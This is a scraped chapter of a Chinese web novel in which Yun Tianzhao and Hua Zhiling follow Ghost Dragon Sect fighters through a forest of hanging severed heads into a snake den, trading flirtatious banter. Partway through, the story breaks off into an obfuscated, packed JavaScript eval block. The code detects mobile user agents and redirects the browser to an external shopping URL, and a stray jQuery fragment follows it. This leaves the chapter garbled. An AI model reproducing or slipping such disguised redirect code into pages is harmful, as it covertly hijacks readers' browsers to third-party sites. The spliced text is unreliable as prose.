文趣网 > 其他小说 > 天照小叫花 > 25.你承认过的
    “父亲,咱们快去帮殿下!”

    叶清璇眼睁睁看着云天照带花之凌追着鬼龙门人而去,焦急之下,紧抓父亲的臂膀,向来婉转动听的音调也变得尖锐刺耳了些。

    她虽较一般的闺阁女子胆大聪慧,可自小习的还是琴棋书画,主母掌宅那一套,并非舞刀弄枪。

    没有武功在身,她就只能一次次绝望地望着云天照飞身离去的背影,无法与对方并肩。

    “……”

    叶父神色深沉。

    他可没有自家女儿那般儿女情长。

    先前圣上专程派出甲等影卫来命他放箭。

    那般不顾其子安危,太过反常,背后必有猫腻。

    他不能坏帝王筹谋。

    其余人神色各异。

    般若倒是从叶父的迟疑中猜到了一二:

    钺星城可真是热闹,那位最不该来此的人,竟悄无声息地来了!

    就是不知道,对方藏于暗处步步为营,是想要云天照重新做回他的好儿子,还是谋取其他……

    南宫如风被叶家人识出身份,早同般若悄悄打过招呼,自己趁乱开溜了。

    三皇子东神阳同五皇子东神旭因手下影卫冲突一事,两相斗着狠,小范围摩擦后,也不同叶徽打招呼,气急败坏地领着自己人先撤了。

    至于离去后要做什么,也不是叶家人能阻拦的。

    “父亲,您究竟在想什么!”

    许久得不到叶父应允,叶清璇眼中划过痛苦之色:

    “当年是您要女儿全心全意去爱殿下,女儿做到了,求您向圣上求一道赐婚圣旨,那时你也这般,许久不言不语,父亲,您究竟要女儿如何啊!”

    “……回府!”

    “父亲!”

    “爹……”

    听得叶父一声号令,摘星楼外的军队连带弓手速速整军撤退,不说叶清璇,连叶厉尖叶厉尘两兄弟都诧异了。

    这是他们那谨小慎微的父亲么?

    怎么能放着他们东霆皇子陷入险地而不救!

    不管旁人如何。

    天机渐明之时,花之凌同云天照已被鬼龙门人引至深山老林。

    先前西焱斩逆司追来的人在半途就少了大半,但他们少使穆狸依旧锲而不舍,离花之凌云天照二人大致五十息之距。

    即便丹田内力隐约有了亏空之象,穆狸也对花之凌势在必得。

    找了这么多年,他怎能让猎物从自己眼皮子底下全身而退呢?

    他不甘心!

    哪怕追到内伤都不甘心!

    来得晚的穆狸顺着沿途踪迹很快跟进林中。

    “姑娘,看来那位西焱的斩逆司少使同你有不共戴天的大仇啊,你不会……杀人父母了吧?”

    云天照对身后斩逆司少使穆狸锲而不舍的毅力发出一番感慨,同花之凌开了个似真似假的玩笑试探。

    难怪他身旁的小姑娘背井离乡来东霆,有斩逆司少使这样的人针对,她在西焱必定很难活得自在。

    觉察少女有瞬间僵住,云天照只以为她害怕了:

    “你放心,不管你曾经做过什么,都与云某不相干,斩逆司的人,手上从不缺人命,不需旁人为其伸张正义,再者……云某也不是好人,不会为西焱人伸张正义,落井下石倒是可以做。”

    “……”

    花之凌没说什么。

    但云天照敏锐觉察到她很难过,心中满是疑惑:

    她难过什么?

    为那个斩逆司少使难过,还是为她自己?疑惑是其他?

    “哈哈哈!云天照!你好好享受我们门主送你的大礼吧!”

    鬼龙门人被云天照杀了不少,剩余的逃命般隐入密从之中,放下狠话便再也不见踪影。

    林中树枝挂满了血淋淋的人头,那些密密麻麻的头颅悬挂得错落有致,仔细辨认,还能认出字来:

    死!

    云天照眼眸中的戾气一闪而逝。

    一道道血注从那些断头的脖颈处哗啦啦如流水一般落下,打得地面上还带着霜气的花草凌乱糜烂。

    见蜿蜒的血河流至脚下,花之凌缩了一脚,不想脏了自己才买的靴子。

    她的内力早在路上就耗尽了,心中又被勾起难过旧事,此时由云天照抱着落地,映入眼帘全是悬挂的人头,面颊苍白中不由透出美人病态,有些摇摇欲坠,看着真是楚楚可怜的,惹人心疼。

    “得罪了。”

    云天照声音低沉磁性。

    林中潮湿多瘴气,又有迷阵埋伏,未免花之凌走错路,他并未松开牵制,只是不再如先前那样怀拥着对方不盈一握的软腰了。

    毕竟那太过暧昧,对方身骨轻盈,肌光赛雪,抱着就如同温香软玉一般,身上的气息还是他喜欢的,他一个血气男儿,拥着对方久了,全身都在升温,腰腹之下似有狰狞苏醒之意。

    这不是好兆头。

    他改去牵小姑娘一截细白的手腕,心中平定。

    林中血河泥泞,花之凌快步跟着,觉得自己被云天照拿捏的那截手腕异常灼热,简直要顺着肌肤之下的血液流动烫到她心尖去!

    不成,不能让云天照这样牵她的手腕……她一人被烫,还不如两败俱伤!

    如此想着,她抿着唇,自认为悄无声息地反客为主,扣住云天照的指缝。

    得逞那一刻,云天照也随她,礼尚往来般,将她的手扣住。

    如此,两人十指纠缠。

    “……”

    花之凌颇有种搬起石头砸自己的脚的感觉,因为她更热了。

    手掌处血液的燥动烧得她口干舌燥!

    若是让不明就里的人瞧见,定然当他们两人是一对有情人。

    可花之凌几次偷瞧云天照的神色,对方都一脸冷峻,面上无半点不自在或旖旎。

    她心生懊恼,脸颊上浮起的两抹绯云慢慢回退下去:

    这人压根不拿我当女子……可恶……他竟当我是个小辈……

    少女雀跃乱撞的心跳逐渐被一股难以言喻的失落冷住,可也就刹那,更强烈的撞击便在她心头上演着:

    可本姑娘都亲过他了,才不当他的小辈!

    穿过密林,两人闯入鬼龙门老巢之中。

    鬼龙门将蛇巢之中的上万毒蛇移了位置,专程用来招待云天照同花之凌。

    四面八方的毒蛇嘶嘶喷毒,还有数十巨蟒盘缠,两人被逼至深处临悬崖的石室,一时受困。

    为了逼退蛇群,云天照内力消耗极大。

    而东霆前太师白如鸿那条断臂,就被机关悬空吊在百米之下蛇巢,散发着浓郁的恶臭,引诱云天照下去,也引得地下蛇莽成群激动争抢。

    云天照从石室悬崖边朝地下看去,心中有了计较,只是……

    看向身旁分外淡定的小姑娘,他真有些后悔带人一起来了:

    “怕么?后不后悔跟我来?”

    “不怕!不后悔!”

    花之凌跟老叫花爷爷生活那六年,抓了不知多少毒蛇,早已经对那些阴冷硬鳞的爬行物免疫了。

    现在也不过觉得数量有点多,如同进了蛇山,四周恶心腥臭罢了。

    不跟着云天照,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17704532|205374||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    在摘星楼时她就逃不脱斩逆司的追杀。

    再坏的归宿都没有落入自己敌人手中坏吧?

    若是同云天照一齐死在此地,她还觉得是云天照亏了呢。

    若不是带她累赘,凭对方的武功,要逃出去不会太难。

    花之凌银子没有,毒药解药倒带的不少,蛇毒她本就会用,解药自然也有,寻了几样出来,分给云天照,看对方没有怀疑就吃了下去,心中欢喜:

    “吃了解药,就算被咬,也毒不死咱们了,你救我一命,现在我又救你一命,现在咱们又两清了,出去后,你可不能派人查我哦。”

    “真的两清了?那在下还得想法子多救飞雪姑娘几次,让你欠着我才好。

    毕竟在姑娘口中,云某就不是个好人,你既不愿让我寻到你也不让我查你,若是你欠着我,你我将来总不会再难相见吧?”

    拿下石墙边的火把,照亮四周黑暗的同时,云天照也瞧见了花之凌那双美眸正盯着自己,其中盈盈水色异常光亮,带着情愫,他心头一动,柔声问:

    “怎么了?”

    “我忽然想到,你不再问我名字了。”

    花之凌仰目,脚下往云天照的方向前进两步:

    “自摘星楼再见,你都没有再问过我的名字,云天照,你现在还想知道么?你不用查我,我告诉你无无妨,但你不能同旁人说。”

    她忽然想听云天照叫她一声凌儿!

    “……”

    云天照眼中深邃闪逝,继而摇头:

    “你万分信任的小兄弟同我说过,相交随心,名字不过是个称谓,在帝临城,你用飞雪的身份与我相识,我就当你是飞雪,我不会查。”

    “……哦,那便好。”

    花之凌点点头,有些气馁,但又好奇:

    “可你不觉得小叫花子的模样很丑么,你为什么会和她当朋友?”

    云天照瞅着花之凌那张绝美脱俗的光艳玉容,有些一言难尽。

    见对方至今不知道自己露馅,作弄之心一起,便笑道:

    “自是因为小兄弟她和你一样,有双汪如浩瀚、灿如星海的眼眸,有这样的美目,人又能丑到哪里去呢,怎么就不能当朋友?”

    “……你胡说什么呢!”

    花之凌脸颊爆红。

    她每次伪装都细致地改了自己眼睫及眼周肌肤的走势,看起来根本不是同一种眼型。

    云天照竟说真实状态的她与伪装成小叫花的她,眼睛是一样,分明是胡说!

    难道在云天照眼中,她就是个丑八怪?!

    “别气,我是在夸你呢。”

    面对花之凌的羞怒,云天照显然在意料之内,他勾唇轻笑,不介意让对方的面颊更红一些。

    他也是爱美人的,比起易容扮成绝丑乞丐的花之凌,当然更喜欢对方展露真实的模样:

    “交朋友并不是在挑选妻子,故而不需以貌取人,性情相合就够了。

    自然,在下而今也当飞雪姑娘是我的朋友,一个小小年纪便聪敏果敢又古灵精怪的天姿绝色。

    只是太容易相信人心了,未免今后吃大亏,还是少交朋友的好。”

    “……”

    花之凌的目光片刻都不从云天照身上移开,傲娇扬起自己的下巴:

    “哼,我没承认你是我朋友呢。”

    “哧~”

    云天照一手搭上花之凌的肩头,强势搂过对方,嗅着对方身上若有似无的香息,十分笃定道:

    “你承认过的,小兄弟,还不止一次。”

    花之凌:“……”